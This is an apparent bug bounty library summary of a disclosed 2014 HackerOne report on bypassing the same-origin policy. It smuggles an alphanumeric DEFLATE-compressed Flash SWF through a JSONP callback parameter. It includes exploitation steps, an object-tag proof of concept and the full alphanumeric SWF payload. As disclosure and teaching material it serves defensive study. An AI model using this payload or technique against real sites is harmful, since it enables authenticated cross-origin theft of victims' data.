# Bypassing Same Origin Policy With JSONP APIs and Flash

JSONP callback parameter lets attacker inject an alphanumeric-only DEFLATE-compressed SWF that Flash loads in the target domain's origin, enabling cross-origin reads.

- Payout: hidden
- Severity: high
- Program: Internet Bug Bounty
- Found by: molnarg
- Disclosed: 2014-07-19
- Write-up quality: 8/10
- Original: https://hackerone.com/reports/10373
- Library page: https://bugbountylibrary.com/r/h1%3A10373
- Tags: area:web domain:web impact:data-leak kind:bounty platform:hackerone sev:high technique:parser-differential technique:source-review vuln:access-control vuln:cors

**Target:** JSONP API callback parameter / Flash SWF loader
**Root cause:** JSONP responses let the caller control the first bytes via the callback parameter, and Flash ignores trailing bytes after a valid SWF, so an attacker-supplied SWF can be served from the target origin.
**Steps:**
1. Craft a valid SWF that loads an arbitrary SWF from the embedder site into the target's security context.
2. DEFLATE-compress it into an [A-Za-z0-9]-only stream (ascii-zip) so it passes callback name filters.
3. Embed `<object type="application/x-shockwave-flash" data="http://example.com/jsonp-api?callback=__URL_ENCODED_SWF__">` with `AllowScriptAccess=always`.
4. Flash ignores the trailing JSON API response bytes and executes the SWF in the target domain's origin.
5. Use the loaded cross-domain proxy SWF to make authenticated requests to the target and read responses.
**How found:** Observed JSONP lets the caller control the first response bytes; hypothesized a SWF could be smuggled as the callback. Solved trailing-JSON invalidity via Flash's tolerance of trailing bytes, and callback charset filters via alphanumeric-only DEFLATE streams.
**Exploitation:** Victim visits attacker page; the object tag loads the JSONP endpoint with the alphanumeric SWF as callback. Flash parses the SWF (ignoring trailing JSON), executing it in the target origin. The SWF then loads a cross-domain proxy SWF from the attacker site and issues HTTP requests to the target with the victim's cookies, reading responses back to the attacker.
**Escalation:** 16 of top 35 Alexa sites (~45%) were vulnerable, giving arbitrary authenticated cross-origin reads on each.
**Insight:** When a response's leading bytes are attacker-controlled and a client parser tolerates trailing garbage, you can smuggle a different file type into that origin; alphanumeric-only DEFLATE (ascii-zip) defeats callback charset filters.

## Proof of concept (copied exactly from the original report)

**Object tag loading SWF via JSONP callback**

```
<object type="application/x-shockwave-flash"
            data="http://example.com/jsonp-api?callback=__URL_ENCODED_SWF__">
      <param name="AllowScriptAccess" value="always">
    </object>
```

**Alphanumeric DEFLATE SWF payload**

```
CWSA7000hCD0Up0IZUnnnnnnnnnnnnnnnnnnnUU5nnnnnn3SUUnUUU7CiudIbEAtWGDtGDGwwwDDGDG0Gt0GDGwtGDG0sDttwwwDG33w0sDDt03G33333sDfBDIHTOHHoKHBhHZLxHHHrlbhHHtHRHXXHHHdHDuYAENjmENDaqfvjmENyDjmENJYYfmLzMENYQfaFQENYnfVNx1D0Up0IZUnnnnnnnnnnnnnnnnnnnUU5nnnnnn3SUUnUUU7CiudIbEAtwwwEDG3w0sG0stDDGtw0GDDwwwt3wt333333w03333gFPaEIQSNvTnmAqICTcsacSCtiUAcYVsSyUcliUAcYVIkSICMAULiUAcYVq9D0Up0IZUnnnnnnnnnnnnnnnnnnnUU5nnnnnn3SUUnUUU7CiudIbEAtwwuG333swG033GDtpDtDtDGDD33333s03333sdFPOwWgotOOOOOOOwodFhfhFtFLFlHLTXXTXxT8D0Up0IZUnnnnnnnnnnnnnnnnnnnUU5nnnnnn3SUUnUUU7kiudIbEAt33swwEGDDtDG0GGDDwwwDt0wDGwwGG0sDDt033333GDt333swwv3sFPDtdtthLtDdthTthxthXXHHHHhHHHHHHhHXhHHHHXhXhXHXhHhiOUOsxCxHwWhsXKTgtSXhsDCDHshghSLhmHHhDXHhEOUoZQHHshghoeXehMdXwSlhsXkhehMdhwSXhXmHH5D0Up0IZUnnnnnnnnnnnnnnnnnnnUU5nnnnnn3SUUnUUUwGNqdIbe133333333333333333sUUef03gfzA8880HUAH
```